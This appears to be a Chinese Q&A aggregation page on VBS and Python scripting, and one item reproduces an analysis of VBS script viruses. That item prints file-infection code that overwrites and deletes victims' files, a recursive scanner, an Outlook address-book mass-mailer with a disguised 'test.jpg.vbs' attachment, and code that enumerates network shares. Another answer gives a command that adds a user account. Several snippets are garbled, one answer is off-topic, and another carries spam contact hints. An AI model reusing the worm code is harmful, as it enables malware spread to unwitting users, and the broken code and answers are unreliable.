⑴ 打開一個目錄下面的大量文件,搜索有關鍵字XXX的,後面增加幾行同樣的內容,VBS或者python代碼實現
幾句話就可以寫好。
import os
onedir="."
keyword="xxx"
appendtext=""
for r,ds,fs in os.walk(onedir):
for f in fs:
fn=os.path.join(r,f)
if open(fn,"rb").read().find(keyword)>=0:
open(fn,"ab).write(appendtext)
⑵ python怎麼調用vbs腳本
subprocess.call('cscript xxx.vbs')
⑶ 怎麼把bat和vbs程序打包成exe格式程序。
可以導出成Jar包,雙擊一樣可以直接運行。
右鍵自己的java項目,選擇Export Project
在彈出的框是選擇路徑軟後選擇main函數,最後命名為XXX.jar
回答完畢,這個是我記得的。
⑷ vbs可以調用python腳本嗎
可以,在vbs中用wshell.run執行腳本文件,前提是你系統中已部署好pyhton:
SetoShell=WScript.CreateObject("WSCript.shell")
oShell.run"s.py"
SetoShell=Nothing
效果如下:
⑸ 學vb好 還是學vbs 還是Python 內家高手請回答
學C語言,編程入門的,C語言是所有語言的根本,而且是執行效率最高的,建議學習C語言。 C語言才就主流,我幫你,我是這個專業的,枯萎242大本營597有東西9960有東西,其中的數字是我 扣
⑹ vbs為後綴名的文件有什麼特點
你好。這是我在網上查找的關於VBS的資料,希望對你有所幫助。VBS腳本病毒是使用VBScript編寫。以宏病毒和新歡樂時光病毒為典型代表的VBS腳本病毒十分的猖獗,很重要的一個原因就是其編寫簡單。
網路的流行,讓我們的世界變得更加美好,但它也有讓人不愉快的時候。當您收到一封主題為「I Love You」的郵件,用興奮得幾乎快發抖的滑鼠去點擊附件的時候;當您瀏覽一個信任的網站之後,發現打開每個文件夾的速度非常慢的時候,您是否察覺病毒已經闖進了您的世界呢?2000年5月4日歐美爆發的「宏病毒」網路蠕蟲病毒。由於通過電子郵件系統傳播,宏病毒在短短幾天內狂襲全球數百萬計的電腦。微軟、Intel等在內的眾多大型企業網路系統癱瘓,全球經濟損失達幾十億美元。而去年爆發的新歡樂時光病毒至今都讓廣大電腦用戶更是苦不堪言。
上面提及的兩個病毒最大的一個共同特點是:使用VBScript編寫。以宏病毒和新歡樂時光病毒為典型代表的VBS腳本病毒十分的猖獗,很重要的一個原因就是其編寫簡單。下面我們就來逐一對VBS腳本病毒的各個方面加以分析:
一、Vbs腳本病毒的特點及發展現狀
VBS病毒是用VB Script編寫而成,該腳本語言功能非常強大,它們利用Windows系統的開放性特點,通過調用一些現成的Windows對象、組件,可以直接對文件系統、注冊表等進行控制,功能非常強大。應該說病毒就是一種思想,但是這種思想在用VBS實現時變得極其容易。VBS腳本病毒具有如下幾個特點:
1.編寫簡單,一個以前對病毒一無所知的病毒愛好者可以在很短的時間里編出一個新型病毒來。
2.破壞力大。其破壞力不僅表現在對用戶系統文件及性能的破壞。他還可以使郵件伺服器崩潰,網路發生嚴重阻塞。
3.感染力強。由於腳本是直接解釋執行,並且它不需要像PE病毒那樣,需要做復雜的PE文件格式處理,因此這類病毒可以直接通過自我復制的方式感染其他同類文件,並且自我的異常處理變得非常容易。
4.傳播范圍大。這類病毒通過htm文檔,Email附件或其它方式,可以在很短時間內傳遍世界各地。
5.病毒源碼容易被獲取,變種多。由於VBS病毒解釋執行,其源代碼可讀性非常強,即使病毒源碼經過加密處理後,其源代碼的獲取還是比較簡單。因此,這類病毒變種比較多,稍微改變一下病毒的結構,或者修改一下特徵值,很多殺毒軟體可能就無能為力。
6.欺騙性強。腳本病毒為了得到運行機會,往往會採用各種讓用戶不大注意的手段,譬如,郵件的附件名採用雙後綴,如.jpg.vbs,由於系統默認不顯示後綴,這樣,用戶看到這個文件的時候,就會認為它是一個jpg圖片文件。
7.使得病毒生產機實現起來非常容易。所謂病毒生產機,就是可以按照用戶的意願,生產病毒的機器(當然,這里指的是程序),目前的病毒生產機,之所以大多數都為腳本病毒生產機,其中最重要的一點還是因為腳本是解釋執行的,實現起來非常容易,具體將在我們後面談及。
正因為以上幾個特點,腳本病毒發展異常迅猛,特別是病毒生產機的出現,使得生成新型腳本病毒變得非常容易。
二、Vbs腳本病毒原理分析
1.vbs腳本病毒如何感染、搜索文件
VBS腳本病毒一般是直接通過自我復制來感染文件的,病毒中的絕大部分代碼都可以直接附加在其他同類程序的中間,譬如新歡樂時光病毒可以將自己的代碼附加在.htm文件的尾部,並在頂部加入一條調用病毒代碼的語句,而宏病毒則是直接生成一個文件的副本,將病毒代碼拷入其中,並以原文件名作為病毒文件名的前綴,vbs作為後綴。下面我們通過宏病毒的部分代碼具體分析一下這類病毒的感染和搜索原理:
以下是文件感染的部分關鍵代碼:
Set fso=createobject("scripting.filesystemobject")
'創建一個文件系統對象
set self=fso.opentextfile(wscript.scriptfullname,1)
'讀打開當前文件(即病毒本身)
vbs=self.readall
' 讀取病毒全部代碼到字元串變數vbs……
set ap=fso.opentextfile(目標文件.path,2,true)
' 寫打開目標文件,准備寫入病毒代碼
ap.write vbs ' 將病毒代碼覆蓋目標文件
ap.close
set cop=fso.getfile(目標文件.path) '得到目標文件路徑
cop.(目標文件.path & ".vbs")
' 創建另外一個病毒文件(以.vbs為後綴)
目標文件.delete(true)
'刪除目標文件
上面描述了病毒文件是如何感染正常文件的:首先將病毒自身代碼賦給字元串變數vbs,然後將這個字元串覆蓋寫到目標文件,並創建一個以目標文件名為文件名前綴、vbs為後綴的文件副本,最後刪除目標文件。
下面我們具體分析一下文件搜索代碼:
'該函數主要用來尋找滿足條件的文件,並生成對應文件的一個病毒副本
sub scan(folder_) 'scan函數定義,
on error resume next '如果出現錯誤,直接跳過,防止彈出錯誤窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'獲取文件後綴
ext=lcase(ext) '後綴名轉換成小寫字母
if ext="mp5" then '如果後綴名是mp5,則進行感染。
請自己建立相應後綴名的文件,最好是非正常後綴名 ,以免破壞正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目錄;遞歸調用
scan( ) scan(subfolder)
next
end sub
上面的代碼就是VBS腳本病毒進行文件搜索的代碼分析。搜索部分scan( )函數做得比較短小精悍,非常巧妙,採用了一個遞歸的演算法遍歷整個分區的目錄和文件。
2.vbs腳本病毒通過網路傳播的幾種方式及代碼分析
VBS腳本病毒之所以傳播范圍廣,主要依賴於它的網路傳播功能,一般來說,VBS腳本病毒採用如下幾種方式進行傳播:
1)通過Email附件傳播
這是一種用的非常普遍的傳播方式,病毒可以通過各種方法拿到合法的Email地址,最常見的就是直接取outlook地址簿中的郵件地址,也可以通過程序在用戶文檔(譬如htm文件)中搜索Email地址。
下面我們具體分析一下VBS腳本病毒是如何做到這一點的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//創建一個OUTLOOK應用的對象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//獲取MAPI的名字空間
Set addrList= mapiObj.AddressLists
//獲取地址表的個數
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//獲取每個地址表的Email記錄數
For addrEntIndex= 1 To addrEntCount
//遍歷地址表的Email地址
Set item = outlookApp.CreateItem(0)
//獲取一個郵件對象實例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//獲取具體Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒傳播實驗"
//寫入郵件標題
item.Body = "這里是病毒郵件傳播測試,收到此信請不要慌張!
" //寫入文件內容
Set attachMents=item.Attachments //定義郵件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交後自動刪除
If item.To <> "" Then
item.Send
//發送郵件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒標記,以免重復感染
End If
NextEnd IfNext
End if
End Function
2)通過區域網共享傳播
區域網共享傳播也是一種非常普遍並且有效的網路傳播方式。一般來說,為了區域網內交流方便,一定存在不少共享目錄,並且具有可寫許可權,譬如win2000創建共享時,默認就是具有可寫許可權。這樣病毒通過搜索這些共享目錄,就可以將病毒代碼傳播到這些目錄之中。
在VBS中,有一個對象可以實現網上鄰居共享文件夾的搜索與文件操作。我們利用該對象就可以達到傳播的目的。
welcome_msg = "網路連接搜索測試"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
』創建一個網路對象
Set oPrinters = WshNetwork.EnumPrinterConnections
』創建一個網路列印機連接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
』顯示網路列印機連接情況
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
』創建一個網路共享連接列表
If colDrives.Count = 0 Then
MsgBox "沒有可列出的驅動器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "當前網路驅動器連接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg』顯示當前網路驅動器連接
End If
上面是一個用來尋找當前列印機連接和網路共享連接並將它們顯示出來的完整腳本程序。在知道了共享連接之後,我們就可以直接向目標驅動器讀寫文件了。
⑺ 求教vbs調用python com組件的問題
這個與腳本部件.wsc文件 或是其他預言編寫的.dll文件一樣
要使用就要先注冊
目測VBS代碼沒有問題,如果沒有顯示函數和屬性應該是沒有寫入注冊表
⑻ python語言編寫的程序需要運行庫嗎
python語言編寫的程序需要運行庫。Python(英語發音:/ˈpaɪθən/), 是一種面向對象、解釋型計算機程序設計語言,由Guido van Rossum於1989年發明,第一個公開發行版發行於1991年。Python是純粹的自由軟體,源代碼和解釋器CPython遵循GPL(GNUGeneral Public License)協議。Python語法簡潔清晰,特色之一是強制用空白符(white space)作為語句縮進。
Python具有豐富和強大的庫。它常被昵稱為膠水語言,能夠把用其他語言製作的各種模塊(尤其是C/C++)很輕松地聯結在一起。常見的一種應用情形是,使用Python快速生成程序的原型(有時甚至是程序的最終界面),然後對其中有特別要求的部分,用更合適的語言改寫,比如3D游戲中的圖形渲染模塊,性能要求特別高,就可以用C/C++重寫,而後封裝為Python可以調用的擴展類庫。需要注意的是在您使用擴展類庫時可能需要考慮平台問題,某些可能不提供跨平台的實現。
⑼ 寫python腳本把上述步驟打包成安裝包,把安裝包通過批量部署工具(puppet等)安裝到windows/linux電腦。
用python調用系統命令嗎?
importos
os.system('netuseraddtest123456')
這樣?
⑽ 打開以下VBS代碼殺軟報毒,怎麼解決這是整人代碼。 on error resume next
很無聊啊。vbs是一種腳本編程方式,和javascript差不多啊,類似vb語法。因為vbs常常被用作傳遞病毒的工具,載體,所以現在殺毒軟體就會誤認為你的vbs是病毒腳本(例如著名的autorun病毒就有vbs版本)。就是說殺毒軟體和你的vbs文件過不去,它不管裡面是否含有危害計算機的程序代碼,總是報毒。推薦你使用vb編輯這種小程序,實在不行就用c++ win32 api或者MFC,再不行的話,我推薦你一個軟體,可以很簡單的把vbs打包成exe或者com,名字叫做vbsedit(好像是這個吧,具體忘記了。。。。= = 、)有問題at我。